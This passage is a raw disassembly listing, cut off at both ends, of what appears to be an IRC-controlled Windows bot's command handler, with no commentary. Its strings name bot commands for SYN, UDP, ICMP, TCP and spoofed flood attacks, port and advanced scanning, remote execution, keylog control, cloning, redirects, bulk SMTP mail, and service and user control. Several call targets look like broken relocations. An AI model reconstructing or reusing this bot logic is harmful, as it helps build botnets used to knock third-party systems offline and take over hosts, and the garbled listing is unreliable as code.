2680000h nop mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2670ECAh nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 2680925h push eax push offset dword_42AEA0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE18 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADD0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADB0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD88 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD68 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD3C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD20 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B504 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECAh jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 2680925h push eax push offset unk_42AB90 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB48 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2670ECAh jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj call near ptr 2680925h nop push eax push offset dword_42AB0C jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA34 ; " " push offset dword_42B500 push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 2670ECAh jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2680925h push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call near ptr 2670ECAh nop jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 2680925h push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h call near ptr 2670ECAh nop jmp short loc_40724B ; 